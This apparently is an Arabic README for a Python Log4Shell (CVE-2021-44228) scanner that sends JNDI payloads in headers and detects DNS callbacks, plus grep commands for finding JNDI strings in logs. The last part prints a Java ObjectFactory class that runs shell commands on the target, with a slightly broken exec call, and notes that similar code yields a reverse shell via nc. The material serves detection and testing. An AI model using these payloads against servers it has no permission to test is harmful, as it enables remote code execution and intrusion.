
ماسح Python متعدد الخيوط يكتشف ثغرة Log4Shell (CVE-2021-44228) عن طريق إرسال طلبات HTTP مصممة خصيصًا مع حمولات JNDI ومراقبة استدعاءات DNS لتحديد المضيفين المعرضين للخطر.
هذا النص البرمجي مبني على takito1812/log4j-detect
بواسطة ExodataCyberdefense
النص البرمجي "log4j-detect.py" المطوّر بلغة Python 3 مسؤول عن اكتشاف ما إذا كانت قائمة عناوين URL معرّضة لثغرة CVE-2021-44228.
للقيام بذلك، يرسل طلب GET باستخدام خيوط (أداء أعلى) إلى كل عنوان URL في القائمة المحددة. يحتوي طلب GET على حمولة (payload) تعيد عند نجاحها طلب DNS إلى Burp Collaborator / interactsh. يتم إرسال هذه الحمولة في معامل اختبار وفي ترويسات "User-Agent" / "Referer" / "X-Forwarded-For" / "Authentication". أخيرًا، إذا كان المضيف معرّضًا للثغرة، سيظهر رقم تعريف في بادئة النطاق الفرعي لحمولة Burp Collaborator / interactsh وفي مخرجات النص البرمجي، مما يسمح بمعرفة المضيف الذي استجاب عبر DNS.
تجدر الإشارة إلى أن هذا النص البرمجي يتعامل فقط مع اكتشاف الثغرة عبر DNS ولا يختبر تنفيذ الأوامر عن بُعد.
python3 log4j-detect.py -s <burpCollaborator/interactsh...> [-u [urls]] [-f [urlFileList]] [-t THREADS] [-p PROXY] [--urllib3-warnings|--no-urllib3-warnings]

sudo egrep -i -r '\$\{jndi:(ldap[s]?|rmi)://[^\n]+' /var/log
sudo find /var/log -name \*.gz -print0 | xargs -0 zgrep -E -i '\$\{jndi:(ldap[
s]?|rmi)://[^\n]+'
للتحقق مما إذا حاول شخص ما إجراء اتصال عبر خادم ldap
فيما يلي نموذج من الكود يمكنك تشغيله لاختبار ما إذا كان خادمك يمكن اختراقه (إذا كانت shell بنظام ويندوز يمكنك فقط استخدام صيغة powershell)
public class ExportObject implements javax.naming.spi.ObjectFactory {
public ExportObject() {
try {
java.lang.getRuntime().exec("touch ~/pwned");
java.lang.getRuntime().exec("ls ~");
} catch (Exception e) {
e.printStackTrace();
}
}
}
شيء من هذا القبيل يمكن أن يتيح لك إنشاء reverse shell باستخدام الأمر nc